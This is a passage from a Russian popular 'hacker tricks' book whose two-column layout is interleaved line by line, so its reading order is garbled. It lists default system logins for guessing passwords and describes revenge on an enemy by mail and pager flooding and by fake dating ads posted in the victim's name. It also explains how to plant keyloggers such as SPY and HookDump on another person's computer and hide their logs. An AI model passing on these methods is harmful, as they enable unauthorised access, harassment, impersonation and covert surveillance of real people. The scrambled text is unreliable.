◆ Некорректно написанные программы (не проверяющие на В качестве инструмента мести Internet идеален. Он представляет
корректность вводимые данные, имеющие массу доселе не использованных возможностей. Думается, что даже та
недокументированные команды, флаги и т.д.). кие заслуженные специалисты в этом вопросе, как герои «Трех мушкете
◆ Неправильные права доступа к системным файлам и ров» Александра Дюма, живи они в эпоху повальной интернетизации об
директориям (например, при инсталляции QNX все щества, могли бы почерпнуть здесь немало нового для себя. Представьте
системные директории имеют флаги rwxrwxrwx, а автор себе: вместо того, чтобы мотаться по всей Франции, переодеваясь то
программы mqc заботливо оставил SUID'ный командный мужчиной, то монахиней, Миледи просто отправляет Д'Артаньяну
файл с такими же атрибутами). емейл с вирусом, который напрочь стирает всю информацию с жестко
го диска. Скорее всего, после этого известие о смерти Констанции пока
В компьютерном мире существуют много организаций, занима залось бы ему мало заслуживающим внимания.
ющихся нахождением и информированием об ошибках и дырках в опе
рационных системах, в целях их скорейшего нахождения и исправления Способы испортить жизнь своему недругу, пользуясь Internetом,
системными администраторами, но кто мешает хакеру тоже получать та хороши, прежде всего, легкостью и малым количеством затрачиваемых
кого рода информацию? Обычно немедленное использование получен сил. Месть можно осуществить, что называется, не вставая с дивана. Од
ной информации дает результаты. нако не надо слишком уж полагаться на эту обманчивую легкость.
Internetместь имеет свою специфику, свои плюсы и минусы, и, если за
быть о вторых, упиваясь исключительно первыми, то навредить можно в
Глава 2. первую очередь себе самому. Давайте попробуем вкратце ознакомиться с
различными способами мести через Internet, для удобства разделив их на
Стандартные пароли в операционных несколько групп:
системах ◆ Грубые
В некоторых случаях возможен подбор пароля для входа в систему. ◆ Пошлые
До недавнего времени пользователи выбирали пароли, которые легко за
◆ Пролонгированного действия
помнить, или даже оставляли те, которые стоят в системе по умолчанию
при инсталляции. Если у вас не хватает фантазии, вы можете поэкспери ◆ Изысканные.
ментировать с этим списком:
Грубые
admin, ann, anon, anonymous/anonymous, backup, batch, bin,
Сюда входят способы мести самые простые и одновременно са
checkfsys, daemon, demo, diag, field, ftp, games,
мые ощутимые. При этом для того, чтобы подгадить неприятному вам
guest/guest, guest/anonymous, help, install, listen, lp, персонажу, вам не придется даже использовать возможности World Wide
lpadmin, maint, makefsys, mountfsys, network, news, nobody, Web. Как правило, будет вполне достаточно обычной электронной поч
nuucp, nuucpa, operator, powerdown, printer, pub, public, ты. Главное — узнать электронный адрес доставляющего вам неприят
reboot, rje, rlogin, root, sa, setup, shutdown, startup, ные эмоции персонажа. А вот что отправить по нему — это уже ваше де
sync, sys/sys, sysadm, sysadmin, sysbin/sysbin, sysbin/bin, ло. Хотите — посылайте письмо с вложенным файлом немереного
sysman, system, tech, test, trouble, tty, umountfsys, объема. Хотите — отправляйте обычное поздравление с днем рождения,
user/user, user1/user1, uucp, uucpa, visitor. только раз по сто на дню. Особенно удачно, если у вашего недруга есть
пейджер: пользуясь возможностью отправлять сообщения на пейджер
Также очень часто пользователи используют в качестве пароля
через Internet и задав при отправке функцию повтора, вы доставите объ
свое имя, фамилию или вообще его не ставят.
екту вашей мести немало приятных минут.
Хакерские трюки 157 158 Хакерские трюки

Плюсы: простота исполнения в сочетании с ощутимостью ущерба. В ближайшие дни его почтовый ящик будет переполнен рекомендация
Применив способы мести из этой группы к вашему недругу, будьте спо ми примерных кулинарок, а он наконецто поймет, что от избытка хо
койны: ваши старания непременно будут замечены и оценены. зяйственности тоже можно взвыть…
Минусы: если бы ты, дружок, был знатным хакером, то нужды в по Плюсы: все почестному.
добных способах мести не возникало бы: твои враги, имеющие доступ в
Минусы: а вдруг он и вправду встретит свое нелегкое счастье? Ты
Internet, и без этого старались бы тебя не задевать ни словом, ни взгля
же век себе этого не простишь!
дом. А если твои познания в компьютерной области далеки от всесторон
них, то вычислить источник вредоносных действий для твоего врага не Изысканные
составит труда. И ответная месть, как водится, будет жестокой и крова
Оплати своему недругу нелимитированный доступ в Internet на
вой. А так ли уж ты не дорожишь своим собственным пейджером и поч
несколько месяцев вперед. Чем на больший срок тебя хватит, тем на
товым ящиком?..
больший срок твой недруг выпадет из жизни в вирутальное простран
Пошлые ство. Пользуясь неожиданно свалившимся на него счастьем, он забудет о
родных, друзьях и работе. В конце концов друзья от него отвернутся, се
Тоже несложны в исполнении. Нужно лишь разместить объявле
мья разбежится, с работы уволят… а когда оплаченный тобой доступ за
ние о знакомстве от имени вашего недруга/недругини на досках объявле
кончится, он за несколько дней исчахнет от горя. А разве не этого ты до
ний для лиц той сексуальной ориентации, к которой недруг не имеет че
биваешься?
сти принадлежать. Ближайшие дни ему придется провести, объясняя
свои сексуальные пристрастия людям, жаждущим знакомства, но при Минусы: дорого
надлежащим к совершенно не интересующему его полу…
Плюсы: все остальные.
Плюсы: могут не вычислить. К тому же над подобной операцией
Мстите на здоровье. Впрочем, помните, что месть разрушает
можно посмеяться в компании, если, конечно, средний возраст участни
в первую очередь мстящего.
ков компании не превышает 13 лет, а средний коэффициент интеллек
та — 80 единиц.
Минусы: Полюбоваться на дело рук своих все равно не получится. Глава 4.
А не отслеженная собственными глазами месть — это почти и не месть Как соблазнить хакера
вовсе.
Соблазнить хакера, конечно, можно. Ведь что бы он там ни гово
Пролонгированного действия
рил о собственной надмирной сущности, физически он функционирует
Способ особенно хорош для покинутых жен и любовниц — разме приблизительно так же, как последний чайник или даже ламер. Только
стить от его имени объявление о знакомстве в правильном разделе. По самому хакеру об этом не говори: иначе возможность соблазнить его ты
тратив несколько месяцев на переписку с девушками, отсеивание тех, лично потеряешь навсегда.
кто не в состоянии написать без ошибок слово длиннее трех букв, он, на
конец, приступит к серии свиданий. Во время которых непременно об Однако прежде чем составить план действий, посвященный тому,
наружит, что слова «красивая», «стройная», «умная» он и девушки пони как ты будешь соблазнять отдельно взятого хакера, необходимо хоро
мают поразному, а отсканировать собственную фотографию для юной шенько подумать: а нужно ли это тебе? И зачем ты, собственно, за это бе
леди не в пример сложнее, чем взять из Сети первую попавшуюся фото решься? Если для того, чтобы было кому устраивать в доме беспорядок,
графию фотомодели и прицепить ее к письму о себе. Скорее всего, со трижды в неделю форматировать компьютерный диск и опустошать хо
временем он даже придет к выводу, что ты — лучшее, что он встретил на лодильник — то не проще ли завести кота? Его способности в этих обла
своем пути. Если же причиной расставания стало твое патологическое стях тоже весьма велики, зато он занимает гораздо меньше места.
нежелание заниматься домашним хозяйством – то можно разместить на Если ты хочешь, чтобы ктонибудь объяснял тебе, почему на тво
какомнибудь сайте для домохозяек невинный вопрос от его имени. На ем компьютере в очередной раз не запускается Windows'98 и как пройти
пример, о том, как приготовить борщ. С обратным адресом, разумеется.
Хакерские трюки 159 160 Хакерские трюки

третий уровень в Hexon'е — то, опятьтаки, проще завести репетитора по 4. Его любимый цвет:
информатике и основам компьютерной грамотности. Он, конечно, будет а) оранжевый;
просвещать тебя не бесплатно — зато, как и любой наемный сотрудник,
будет приятен в общении, а главное — предсказуем. б) черный;

Ну, а если дело в высоком и светлом чувстве — тут можно тебе в) тот, на который аллергия у Билла Гейтса.
только посочувствовать и предложить начать осуществлять самый крат
5. Он проникнется к тебе уважением, если сказать ему, что ты близB
кий и эффективный план соблазнения: чем скорее, тем лучше. Как гово
ко знакома с:
рится, раньше сядешь — раньше выйдешь, а вдруг еще в процессе надо
ест, и все неприятности рассеются сами собой… а) Кевином Митником;

Нижеизложенный тест позволит тебе окончательно определить, б) Владимиром Левиным;


зачем соблазнять хакера и, соответственно, решить, сможешь ли ты это в) тем безумным работодателем, который действительно согласил
сделать и нужно ли это тебе на самом деле. Ну, а если на оба вопроса ты ся взять на работу нервного юношу по имени Webster, взломавшего сайт
получишь положительные ответы — тест поможет тебе разработать са www.vesti.ru.
мый верный и безотказный способ соблазнения. Итак:
6. Когда он рассказывает тебе о взломанных им сайтах, ты веришь
1. Заманить хакера в гости проще всего: ему:
а) попросив его помочь установить на твой компьютер Win а) в 100% случаев;
dows'98;
б) в 50% случаев;
б) попросив его помочь взломать сервер твоего родного вуза и раз
местить вместо списков сотрудников кафедр набор порнографических в) зачем верить? Главное — внимательно слушать…
картинок;
7. Никогда нельзя спрашивать его:
в) пригласить его посмотреть, какую шикарную дыру ты обнару а) какой пароль он использует для защиты своего компьютера;
жила в последней версии сендмейла.
б) любит ли он тебя;
2. Когда он появится у тебя, прежде всего ты можешь заинтересоB в) когда он в последний раз стирал свою футболку.
вать его:
а) эротичным платьем и заинтересованными взглядами; 8. Больше всего ему нравится идея заняться сексом:
б) наличием в папином кабинете запароленного компьютера а) на роскошной четырехспальной кровати с шелковым бельем,
с коллекцией порнографических видеороликов; при свечах, в президентском номере отеля «Хилтон», снабженном ван
нойджакузи и минибаром с шампанским «Дом Периньон»;
в) горячим ужином.
б) в палатке на полпути к вершине Эвереста, при силе ветра не ме
3. В чем лучше быть одетой при первом свидании? нее четырех баллов;
а) воздушное полупрозрачное платье, чулки, туфли на высоком в) на IRC в кодировке koi8.
каблуке и капелька «Шанели N19»;
Итак, подведем итоги.
б) джинсы, футболка, ботинки «Grinders», минимум косметики;
Если в большинстве случаев ты выбрала ответ а) — то соблазнить
в) это не так важно — если заранее включить монитор, он не обра хакера тебе, увы, пока не светит. Необходима тщательная тренировка.
тит на мой внешний вид никакого внимания. А если не включить — то Для начала попробуй почаще посещать сайт www.hackzone.ru и попробуй
первым делом он включит монитор, а уж потом не будет обращать на для тренировки взломать ту директорию на домашнем компьютере, где
мою одежду никакого внимания. папа держит порнографические картинки.
Хакерские трюки 161 162 Хакерские трюки

Если на большинство вопросов ты дала ответ б) — возможно, ты – Да я уже повесил! — радостно сообщает другой, — это рулес!
сможешь стать для своего хакера идеальной подругой. Ты будешь уме
– А у меня траблы. Компилил я свою прогу, а там вылезла жуткая
ренно восхищаться его достижениями, а он — время от времени обога
бага и пришлось все вкоцать, — жалуется третий.
щать тебя новыми знаниями в области компьютерных технологий. Прав
да, не удивляйся, если полученные знания не во всем будут совпадать – Да ты ламер! — хором объясняют ему первые двое, в глубине ду
с услышанным на институтских лекциях. ши считающие себя крутыми хакерами.
Ну, а если большинство ответов — в), то хакера ты, конечно, со Третий добродушно кивает — ну чего еще с этих ламеров возь
блазнишь. А нужно ли тебе это? Ты вполне в состоянии подступиться мешь?
к комунибудь из руководителей российских отделений Microsoft или
Попробуем объяснить принципиальную разницу между ламером
IBM. Ну, а если тебя это не вдохновляет — может, всетаки лучше завес
и хакером. Ламер — это программист, который много делает, но мало ду
ти кота?..
мает, а хакер — это ламер, который думает, что он думает, и ничего не де
лает. Поэтому у хакера, как правило, случается гораздо меньше ошибок.
Глава 5. Помимо всего прочего, программисты обладают уникальными
Программисты способностями. Изредка они могут «читать руками», «забирать почту но
гами» либо для разнообразия «трахаться полдня с этим вонючим принте
Приходилось ли вам когданибудь встречаться с программистом? ром» (и это без всяких стимуляторов, не говоря уже о прочих неудоб
ствах). А порой и у них бывают проблемы. Вот на днях у одного такого
Hе сомневаюсь, что приходилось. Эта разновидность хомо сапи «не стал фак, поправляющий баги», и он долго жаловался по телефону
енс в последнее время широко распространилась на территории нашей своему лечащему коллеге.
страны и за ее пределами. Средой своего обитания они выбирают как го
сударственные, так и частные учреждения, куда незаметно внедряются и По природе своей программист — животное не стадное, но иногда
усиленно паразитируют некоторое время, после чего иногда переселя они объединяются в группки и коллективы, кучкуются возле общепитов
ются на новое место. По экстерьеру программисты делятся на две кате ских точек или паруются. Некоторые даже паруются с особями противо
гории — заросших, одетых в свитера хиппи с отрешенным взглядом и положного пола, зачастую не имеющими отношения к программирова
аккуратных коротко стриженных фраеров в тройке с такой же маниа нию. Если подобное общение затягивается, существует опасность
кальностью за стеклами очков. возникновения новой ячейки общества, т.е. семьи. Вы никогда не пробо
вали быть женой программиста? И не пробуйте — занятие это неблаго
По природе своей программеры — ночные животные, покида дарное и вредное для здоровья. Представьте себе мужа, с отрешенным
ющие свое логово только после полудня в поисках пива. В ночной тиши лицом слоняющегося из угла в угол, бормочущего непонятные слова и не
не из мерцающего окошка программера доносятся всхлипы, истошные замечающего вас на расстоянии пяти шагов — все это вряд ли будет спо
крики и короткие автоматные очереди. Эти особи удовлетворяются неза собствовать улучшению вашего настроения. По выходным он сидит за
тейливой игрой под названием «Дум». Правда некоторые удовлетворя телефоном и разговаривает с себе подобными, а в будние дни, уходя из
ются в «Рот» с «Еретиком» и т.п., но таких извращенцев считанные еди дома на работу, напускает важность и голосом, полным печали, сообща
ницы. Общаются они обычно за бутылкой пива или за чашкой кофе с ет: «Дорогая, я немного задержусь сегодня. У меня накопилось столько
двумя ложками соли, поскольку сахарница оказалась на две позиции дел! Hеобходимо срочно очистить четвертый уровень...» И любящая же
дальше, чем солонка. Их общение протекает на особом, недоступном на вынуждена закрывать на все глаза и верить, что монстры с четвертого
простому смертному языке. Hепосвященный рисует дикие образы при уровня действительно серьезная проблема, а очередная компьютерная
попытке вникнуть в те обрывки разговора, которые еще переводимы на выставка действительно проводится в «Веже».
нормальный язык:
С работы программист возвращается рано, только если во всем
– Слушай, а ты не хочешь повесить резидента? — добродушно райoне отключили свет, а позорное признание: «После семи я обычно
спрашивает один. дома» само собой подразумевает наличие в вашей квартире компьютера.
Хакерские трюки 163 164 Хакерские трюки

В то же время застать настоящего программиста на его рабочем месте не ные сеансы гипноза, и чарующий голос программиста убеждает, что тот
возможно. В поисках вдохновения они разбредаются по кафетериям и получит самую крутую программу за самые смешные деньги. При этом
пивбарам, а затем, пользуясь удачным случаем, прокрадываются друг к непонятные слова и термины произносятся с такой убежденностью, что
другу на работу и делают там маленькие пакости, после чего растворяют хочется верить, не вникая в подробности. По мере роста у программис
ся. В конце рабочего дня они возвращаются, включают компьютер и тов нередко возникает острая финансовая недостаточность, и они начи
принимаются за свои прямые обязанности, т.е. думают. «Думают» они нают тянуться на запад, снимаясь с насиженных мест и громко курлыча...
упорно, уровень за уровнем, до тех пор, пока их собственное отражение
В завершение краткого обзора хотим сделать небольшой акцент на
не станет похоже на изображение внизу экрана при предельном запасе
абсолютной достоверности изложенной здесь информации. Hадеемся,
энергии. Тогда они направляют свои стопы домой и возникают на поро
что эти заметки будут приняты во внимание при попытках серьезно за
ге совершенно изможденные, с красными глазами и двумя неизменными
коннектиться с представителями данного вида.
желаниями — есть и спать. И бесполезно пытаться навязать им третье,
мелькая перед их потухающим взором в сексуальном нижнем белье, в
лучшем случае они поинтересуются, не очень ли вам холодно, прежде Глава 6.
чем окончательно уснут в тарелке с борщом. Зато среди ночи ваш муж
непременно разбудит вас громкими стонами и навязчивой просьбой Клавиатурные шпионы
прогнать со стола летающую тарелку. Hе пугайтесь, если застанете его
ползающим раком возле кровати и умоляющим вас поскорее засунуть С помощью маленьких программ —клавиатурных шпионов (key
ему дискету. Вставьте ему в руки чтонибудь квадратное, и он тут же ус board loggers) вы можете узнать, что делали на вашем компьютере, пока
покоится. И не обижайтесь, если он потребует нажать на ESC, а затем за вас не было в офисе или дома (последнее для параноиков и жильцов ком
хочет вас сформатировать — ему это все равно не удастся. А на следу мунальных квартир). Если же вы сумеете подложить их на чужой ком
ющее утро он проснется, как ни в чем не бывало, поинтересуется, как пьютер, то получите возможность узнавать практически обо всех дей
вам спалось, и снова отправится на работу. ствиях хозяина компьютера.

Раз уж мы с вами коснулись темы работы, то не мешает сказать па Метод работы таких программ очень напоминает способ, о кото
ру слов об орудии труда программиста. Подавляющее большинство ис ром не раз рассказывали в какойто детской передаче про частных детек
пользует для этой цели компьютеры. Компьютер с успехом заменяет тивов, вы наверняка его помните: под скатерть на столе вы кладете лист
программисту и активный отдых, и семью, и любимую женщину; в знак обычной бумаги, а на него лист копирки. Теперь все, что будет написано
благодарности программер обычно наделяет своего безногого друга лас за этим столом, через копирку отпечатывается на листе бумаги. Здесь
ковыми прозвищами, такими, к примеру, как «писюха». За монитором главное — незаметно подложить копирку под скатерть, а потом так же
РС он способен просиживать часами, уставясь на него, как кролик на незаметно вытащить результат. В нашем случае сделать это обычно не
удава, и время от времени судорожно давить клавишу мыши. Мышь с не составляет труда, потому что программы эти очень маленькие (обычно
давнего времени стала любимым ручным животным программера; к ней не больше 100 килобайт вместе с описанием и help'oм, но встречаются
они проявляют поистине трогательную заботу, покупая для нее всевоз исключения, дотягивающие почти до 500) и скопировать их с дискеты на
можные коврики и даже домики. «винт» «клиента», а также периодически (можно раз в несколько дней,
но чем дольше, тем труднее потом разобраться) «снимать» результаты —
Иногда в результате труда программиста получится продукт, име минутное дело, достаточно лишь на некоторое время остаться наедине
нуемый программой. Программа, которая не глючит, считается прими с компьютером.
тивной, и программист бьется над ней в поте лица, дописывая и услож
няя до тех пор, пока она не станет «вешаться» при загрузке, после чего, с С программами подобного рода я познакомился впервые лет, на
чувством выполненного долга, он спешит к другу обмывать возникшую верное, пять назад. Когда я получил в свое распоряжение настоящий
траблу. Сроки написания программы существуют лишь для того, чтобы IBMсовместимый компьютер — десктоп с 286 процессором, цветным
заморочить голову заказчику и не забыть, когда очередной аванс. Про монитором и винчестером на целых 40 мегабайт, — радости моей не бы
грамма пишется столько, сколько ее хотят писать, после чего она не пи ло предела, Он был гораздо больше похож на настоящий современный
шется вовсе. А для заказчика время от времени устраиваются эксклюзив компьютер, чем все то барахло, что было у меня до него. Компьютер, ра
Хакерские трюки 165 166 Хакерские трюки

зумеется, был далеко не новый, куплен, что называется, с рук. Таким об лал еще несколько попыток понять, в чем же, собственно, дело, но все
разом, я унаследовал кучу полезного и не очень софта, потом незаметно, они оказались безрезультатными, тотальный контроль продолжался.
сами собой, проявились приятели, тоже имеющие компьютеры, и начал
Я уже намыливал веревку, как шутят в подобных случаях амери
ся процесс «обмена информацией».
канцы, когда проблема разрешилась почти сама собой. Купив по случаю
С детства испытывая тягу потрогать, понюхать, попробовать на новую мышку, я, как водится, переписал с прилагаемой дискеты драй
вкус, в общем, испытать на себе все интересные вещи, которые попадут вер — mouse.com или чтото в этом роде — и вписал его в autoexec.bat
ся под руку, я методично изучал программу за программой: все от Dbase вместо старого мышиного драйвера. Через некоторое время я случайно
III Plus до коллекции исходных текстов вирусов на Паскале, от SuperCalc заглянул в spylog.log и с удивлением обнаружил, что записи прервались
3 до Windows 3.1 (да, на той самой, на «двойке», тоже работает). И вот од в тот день, когда я поменял мышку.
нажды, роясь в этом барахле, я нашел странный файл с именем, если не
Сопоставив факты, я понял, что дело, конечно, не в самой мышке,
ошибаюсь, spylog.log, который оказался на поверку текстовым и содер
а в драйвере. Как я узнал впоследствии, на моем компьютере была уста
жал довольно странную информацию.
новлена и запущена программа SPY, которая, вероятно, запускалась от
В тот момент у меня, еще не понимающего, что же это все значит, драйвера мыши.
возникло странное ощущение, похожее на манию преследования (чтото
Далее я хочу рассказать о трех испробованных мной лично про
вроде: «За мной постоянно ктото следит и даже наблюдает, что я делаю
граммах этого класса. Начать позвольте с многострадальной (...ного) SPY.
в...»). Дело в том, что в этом огромном (на тот момент чтото около 400
килобайт) отвратительном spylog.log было записано все, что я набирал с SPY
клавиатуры за последние несколько месяцев. Но это еще не все: здесь
Программа SPY (Security Log System), написанная Алексом Ле
были отмечены все файлы, которые я создавал, удалял, открывал и т.п. с
менковым, предназначена для записи в специальный текстовый
указанием времени и даты. Кстати, даты в начале файла говорили о том,
Logфайл информации о всех производимых на компьютере действиях с
что все это началось у первого хозяина компьютера примерно за пару не
автоматической регистрацией даты и времени. Запись происходит неза
дель до того, как мы купили его.
метно для пользователя, т.е. человек, работающий на компьютере, ско
Моих поверхностных, на тот момент, знаний о компьютерах IBM рее всего, никогда не узнает о том, что за его действиями может наблю
PC хватало, чтобы понять — ведение таких файлов (я бы сказал, прото дать посторонний. Все сказанное ниже относится к версии 4.4, но, судя
колов допроса) не входит в их стандартные обязанности. Появившиеся по документации, справедливо для всех версий, начиная с 3.4 (различа
параноидальные мысли о том, что он, мой электронный друг, вниматель ются они, в основном, несколькими исправленными ошибками и мелки
но следит за своим хозяином и молчит (или пока молчит), были посте ми опциями).
пенно отвергнуты, и я занялся выяснением причин столь странного по
Подозреваю, что испортившая мне столько нервов программа бы
ведения машины.
ла версии 3.4 или старше. Так как первые версии программы написаны
Первым делом я просмотрел autoexec.bat и config.sys на предмет достаточно давно (во всяком случае, самая старая версия, которую я ви
присутствия «лишних» строчек, но, как назло, ничего постороннего там дел, — 1.3 — была датирована в документации 1992 годом), работает она
не было: драйвер мыши, русификатор, Norton Commander и т.п. — в об под MSDOS версии 4.0 и старше на любом компьютере, начиная
щем, все как обычно. Затем ненавистный файл был удален, и я с отвра с «двойки».
щением понаблюдал, как он вновь появился в том же месте. Как оказа
SPY обладает несколькими интересными свойствами: программа
лось, он был создан заново и начал вновь запоминать все мои действия.
загружается в память компьютера по типу вируса, маскируется под DOS
Следующим, что пришло мне в голову, было позвать какогонибудь кру
и не видна таким программам, как MEM, RELEASE и т.д. Кроме загруз
того спеца, чтобы он навсегда отучил моего электронного друга подгля
ки из командной строки или файла autoexec.bat, SPY может запускаться
дывать. Итак, был приглашен знакомый дядька, обслуживающий не
из любого исполняемого файла (.сom или .ехе). Для того, чтобы реализо
сколько компьютеров в местной организации. После нескольких чашек
вать этот метод, в состав пакета, кроме собственно SPY, входит програм
чая и тарелки съеденного печенья (наверное, надо было угощать twix'om)
ма SPYEXE, запустив которую, вы автоматически припишете к выбран
дядька развел руками и, опозоренный, ушел восвояси. После этого я сде
ному исполняемому файлу команду запуска SPY.
Хакерские трюки 167 168 Хакерские трюки

Таким образом, заставив SPY запускаться, к примеру, вместе Конечно, список «клавиатурных шпионов» не ограничивается опи
с драйвером мыши, вы не оставите никаких следов в autoexec'e. Теперь, санными здесь программами, существует еще SECRET AGENT Алексея
если вы надежно спрятали Logфайл, в который будут выводиться ре Черненко (программа работает на любом «тостере» с 8086 процессором) и
зультаты слежки, и дали ему какоенибудь неприметное имя, вроде многие другие, рассказывать о которых можно достаточно долго. В заклю
mouse.log (или сделали его невидимым), то обнаружить, что за всеми ва чение хочу сказать, что целью этой главы было рассмотрение еще одного
шими действиями наблюдают, вряд ли сможете. Разве что, «роясь» в сво аспекта privacy, о котором не подозревает большинство пользователей.
ем винчестере, случайно «набредете» на весьма странный текстовый
Узнать о том, что вы делаете на своем компьютере, можно даже
файл — и на всю жизнь заречетесь пускать посторонних за клавиатуру
в том случае, если вы и рядом с Internet`ом не стояли. А рассказал о том,
своего компьютера.
как можно заполучить чужую информацию, я лишь для того, чтобы чита
HookDump тель знал, каким образом «не наши» могут узнать чтото о нем. Для того,
чтобы уберечься от подобных шпионских закладок, нужно соблюдать ба
HookDump, написанная Ильей Осиповым, самая лучшая, на мой
нальные правила, известные всем: следить за тем, чтобы вашим компью
взгляд, программа этого класса. Она предназначена для работы под
тером не пользовались в ваше отсутствие, и «избегать случайных связей».
Windows. Программа обладает широким набором функций и гибкой си
стемой настройки.
Интерфейс HookDump достаточно прост и позволяет указать, от Глава 7.
метив соответствующие пункты меню, нажатие каких клавиш регистри Благородный хакер
ровать (возможен выбор: буквенноцифровые клавиши + клавиши уп
равления курсором или же регистрация всех нажатий, включая Caps Бытует мнение, что хакеры – злобные и беспощадные хулиганы.
Lock, Shift, Tab, все функциональные клавиши и т.п.), какую информа Такое мнение, как правило, подтверждается фактами дерзких взломов.
цию о работающих программах запоминать (возможна регистрация вре Однако в каждом правиле есть свое исключение.
мени, активных окон и т.п.).
По сообщению информационного сервера Wired.com, Webсерве
Кроме текста, набираемого с клавиатуры, в Logфайле записыва ры трех ключевых государственных департаментов США, включая сайт
ется даже такая информация, как скрытый пароль DialUp Networking, NASA, были взломаны неизвестным хакером. На их главных страничках
который вообще не набирался. Возможна также регистрация нажатий на появилось изображение человека в капюшоне с ожерельем, символизи
кнопки мыши (непонятно, правда, как же потом определить, в каких ме рующим добро, и посланием, предупреждающим об уязвимости защиты.
стах и на что «кликали» мышью). «Я говорю это вам – правительству и военным структурам США. Я пре
Чтобы установить программу, нужно лишь целиком скопировать дупреждаю вас об опасности. Пожалуйста, примите меры для защиты от
ее каталог (размер каталога чуть больше 50 килобайт) на винчестер. Для кибератак». Именно эти слова красовались на сайтах после взлома, кото
автоматического запуска HookDump достаточно отметить в меню Startup рый был совершен, оказывается, благородным человеком и патриотом.
строчку AutoStartUp (т.е. нет необходимости включать программу в пап Хакер, представившийся 17летним студентом из Колорадо, за
ку Автозагрузка). После этого программа будет автоматически запус явил, что абсолютно лишен злых помыслов. По его словам, так много
каться вместе с Windows, никак не проявляя при этом своего присут людей со всего мира горят желанием взломать защиту ключевых амери
ствия. Конечный текстовый файл с расширением .hk может находиться в канских серверов, что его гражданским долгом было предупредить их
любом каталоге на ваш выбор. Для этого нужно указать в файле hook владельцев об опасности. Самое интересное, что преодоление защиты
dump.ini желаемый каталог и имя файла, которые будут созданы про было произведено распространенным приемом, который любой систем
граммой. Кроме того, есть довольно приличный Help, правда, только на ный администратор обязан знать и принять соответствующие меры. Бо
английском. Программа HookDump оставляет самое приятное впечатле лее того, хакер признался в своем послании, что уже предупреждал о
ние, не могу сказать, что я в щенячьем восторге, но все же... Она проста «дырах» в защите, но был проигнорирован. Взломать серверы самому –
в установке (для этого хватает и полминуты), имеет массу настроек, а бу единственное, что ему оставалось, чтобы обратить, наконец, внимание
дучи запущенной, остается совершенно незаметной. на проблему безопасности.
Хакерские трюки 169 170 Хакерские трюки

И это ему удалось: на следующий день после совершения взлома Но позвольте, скажете вы, к 96му году в Internet`е было вполне
официальный представитель NASA не замедлил выступить с заявлением, достаточно средств связи – и чаты, и доски объявлений, и, конечно,
в котором говорил о необходимости принятия срочных мер по обеспече электронная почта. Чем же вызвана беспрецедентная популярность но
нию безопасности ключевых серверов американского Internet`а. Более вой программы? Принципиальным новшеством стал реальный режим
того, он заявил, что не намерен терпеть какие бы то ни было взломы, общения собеседников. При этом для начала диалога не нужно знать ни
пусть даже и совершенные из благородных побуждений. каких адресов для встречи, достаточно включить компьютер и войти в
Сеть. ICQ стартует автоматически и позволяет моментально связаться с
Хотя хакер и не сообщил свое имя, на взломанные сайты он поме
партнером. Конечно, наиболее содержательным ваше общение будет, ес
стил ссылку на свою домашнюю страничку. «Я – патриот. Мои идеалы
ли все собеседники, как и вы, сидят перед экранами, и, разумеется, у них
совпадают с демократическими идеалами правительства США. Я верю в
также установлена эта программа. О каждом новом знакомом, который
мир и гармонию». Такими словами завершалось удивительное послание
подключился к Internet`у, ICQ известит вас в реальном времени, и все,
благородного хакера.
что нужно для начала беседы, — это щелчок мышкой по иконке.
C помощью ICQ можно не только беседовать с друзьями, но и уча
Глава 8. ствовать в конференциях, посылать и получать сообщения и файлы, иг
«За» и «против» популярной программы рать в коллективные игры. Есть и другие приятные функции для друже
ского общения — «страницы дружбы», «галерея приветствий», центр
«ICQ» «День рождения». Программа поддерживает множество популярных
Internetприложений и служб. Она занимает минимум сетевых ресурсов
Так называемая «Аська» — это популярнейшая программа онлай и памяти компьютера и выполняется в фоновом режиме. Это означает,
нового общения ICQ, своего рода Internetпейджер. О ней можно слы что вы можете заниматься своими обычными делами, а ICQ, как хоро
шать различные, даже полярные мнения. Ее называют революционной, ший секретарь или автоответчик, примет и запишет входящие сообще
культовой программой и «задней дверью в ваш компьютер», «бесплат ния, не отрывая вас от работы. Вы можете также выбрать наиболее под
ным сыром», ведущим прямо в мышеловку. О ней рассказывают анекдо ходящий режим работы:
ты. Попробуем разобраться в этом феномене, он как минимум заслужи
вает внимания – ведь десятки миллионов пользователей (из них около ◆ Желаю поболтать;
миллиона русскоязычных) – это серьезно. ◆ Отлучился;
Все началось в ноябре 1996 года, когда израильская фирма ◆ Занят (только срочные сообщения);
Mirabilis (насчитывавшая тогда четыре месяца от роду) выпустила новую
программу для сетевого общения, которая получила название из трех ла ◆ Не беспокоить;
тинских букв – ICQ. При слитном произношении они звучат как фраза ◆ Невидимка (только для своих);
«I seek you» — я ищу тебя.
◆ Выключен.
Уже в первые полгода существования она поставила абсолютный
рекорд: 100 тысяч онлайновых пользователей одновременно. Позже бы Согласно статистике, около 40% пользователей ICQ проживают
ли взяты рубежи 200 и 500 тысяч. В конце 1999 года было объявлено о по в США, еще 40% — в Европе. По оценке AOL, клиенты ICQ в среднем
явлении 50миллионного пользователя. ICQ получила десятки призов, используют программу по 75 минут в день (сравните, для поисковых ма
ведущие журналы называют ее среди лучших продуктов. Появились вер шин и Internetрубрикаторов этот показатель составляет менее 10 минут
сии для многих платформ и операционных систем. 97й год прошел под в день). Еще одно свидетельство популярности программы: стало пре
знаком массовой «мирабилизации» Internet`а, а летом 98го фирма стала стижным иметь 6значные, то есть сравнительно ранние номера UIN,
собственностью крупнейшего американского провайдера AOL, America свидетельствующие о солидном пользовательском стаже. На досках объ
Online (сумма сделки составила 287 миллионов долларов, и еще 120 мил явлений появились предложения об обмене, номера из первого полу
лионов будут выплачены позднее). При этом Mirabilis сохранила весь миллиона стали выгодным товаром.
свой штат и место постоянной дислокации — ТельАвив.
Хакерские трюки 171 172 Хакерские трюки

Казалось бы, налицо все условия для дальнейшего «триумфально дословный перевод слова Mirabilis, в чем легко убедиться с помощью
го шествия» «Аськи» по свету: есть 50 миллионов пользователей — станет словаря) слишком серьезно.
500, а 75 минут средней ежедневной загрузки превратятся в несколько
А между тем количество российских icqсайтов давно стало трех
часов! Но когда эйфория от конференций с двумя десятками одновре
значным. Среди них есть и довольно необычные – так, существует хрис
менных собеседников проходит, вас начинает раздражать лавина преры
тианский сайт «Jesus Inside», где проводится параллель между названием
ваний, требующих немедленной реакции и отвлекающих от дела. Появи
«Я ищу тебя» и поисками веры. Полезную вещь предложил Алексей Не
лись грустные мемуары «утомленных Аськой»: вот ты уже и IP спрятал,
федов из Петербурга. Теперь можно по обычному телефону передавать
мультирассылки заблокировал, в статусе по умолчанию выставил
сообщения даже тем, кто подолгу сидит в Сети и, естественно, занимает
